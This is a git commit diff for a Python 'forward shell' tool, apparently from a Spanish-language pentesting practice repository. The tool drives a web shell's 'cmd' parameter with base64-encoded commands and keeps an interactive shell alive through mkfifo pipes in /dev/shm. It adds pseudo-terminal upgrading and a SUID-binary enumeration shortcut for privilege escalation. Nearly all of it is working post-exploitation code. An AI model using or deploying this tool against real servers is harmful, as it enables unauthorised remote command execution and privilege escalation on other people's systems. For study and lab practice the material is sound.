Update forwardshell script

This commit is contained in:
Manuel Vergara 2024-02-03 12:28:27 +01:00
parent d4c5d8a50f
commit d7252c6782
2 changed files with 154 additions and 21 deletions

View File

@ -11,24 +11,32 @@ mkfifo input; tail -f input | /bin/sh 2>&1 > output
"""
import requests
import signal
import sys
import time
from termcolor import colored
from base64 import b64encode
def def_handler(sig, frame):
print(colored("\n[!] Exiting...", "blue"))
sys.exit(1)
from random import randrange
signal.signal(signal.SIGINT, def_handler)
class ForwardShell:
main_url = "http://localhost/index.php"
def __init__(self):
session = randrange(100000, 999999)
def run_command(command):
self.main_url = "http://localhost/index.php"
self.stdin = f"/dev/shm/{session}.input"
self.stdout = f"/dev/shm/{session}.output"
self.help_options = {
'enum suid': 'FileSystem SUID Privileges Enumeration',
'help': 'Show this help panel',
}
self.is_pseudo_terminal = False
def run_command(self, command):
command = b64encode(command.encode()).decode()
@ -36,16 +44,112 @@ def run_command(command):
'cmd': 'echo "%s" | base64 -d | /bin/sh' % command
}
r = requests.get(main_url, params=data)
try:
r = requests.get(self.main_url, params=data, timeout=5)
return r.text
except:
pass
if __name__ == '__main__':
return None
def write_stdin(self, command):
command = b64encode(command.encode()).decode()
data = {
'cmd': 'echo "%s" | base64 -d > %s' % (command, self.stdin)
}
r = requests.get(self.main_url, params=data)
def read_stdout(self):
for _ in range(5):
read_stdout_command = f"/bin/cat {self.stdout}"
output_command = self.run_command(read_stdout_command)
time.sleep(0.2)
return output_command
def setup_shell(self):
command = f"mkfifo {self.stdin}; tail -f {self.stdin} | /bin/sh 2>&1 > {self.stdout}"
self.run_command(command)
def remove_data(self):
remove_data_command = f"/bin/rm {self.stdin} {self.stdout}"
self.run_command(remove_data_command)
def clear_stdout(self):
clear_stdout_command = f"echo '' > {self.stdout}"
self.run_command(clear_stdout_command)
def run(self) -> None:
self.setup_shell()
while True:
command = input(colored("> ", "yellow"))
output_command = run_command(command)
if "script /dev/null -c bash" in command:
print(
colored("[+] Se ha iniciado una pseudo-terminal", "blue"))
self.is_pseudo_terminal = True
if command.strip() == "enum suid":
command = f"find / -perm -4000 2>/dev/null | xargs ls -l"
if command.strip() == "help":
print(colored(f"\n[+] Listando panel de ayuda:\n", "blue"))
for key, value in self.help_options.items():
print(f"\t{key} - {value}")
continue
self.write_stdin(command + "\n")
output_command = self.read_stdout()
if command.strip() == "exit":
self.is_pseudo_terminal = False
print(colored("[+] Se ha cerrado la pseudo-terminal", "blue"))
self.clear_stdout()
continue
if self.is_pseudo_terminal:
lines = output_command.split("\n")
if len(lines) == 1:
cleared_output = '\n'.join([lines[-1]] + lines[:1])
elif len(lines) > 1:
cleared_output = '\n'.join(
[lines[-1]] + lines[:1] + lines[2:-1])
else:
print(len(lines))
print(lines)
print(cleared_output + "\n")
else:
print(output_command)
self.clear_stdout()

View File

@ -0,0 +1,29 @@
#!/usr/bin/env python3
"""
Fichero principal de la aplicación.
"""
import signal
import sys
from forwardshell import ForwardShell
from termcolor import colored
def def_handler(sig, frame) -> None:
print(colored("\n[!] Exiting...", "blue"))
my_forward_shell.remove_data()
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
if __name__ == '__main__':
my_forward_shell = ForwardShell()
my_forward_shell.run()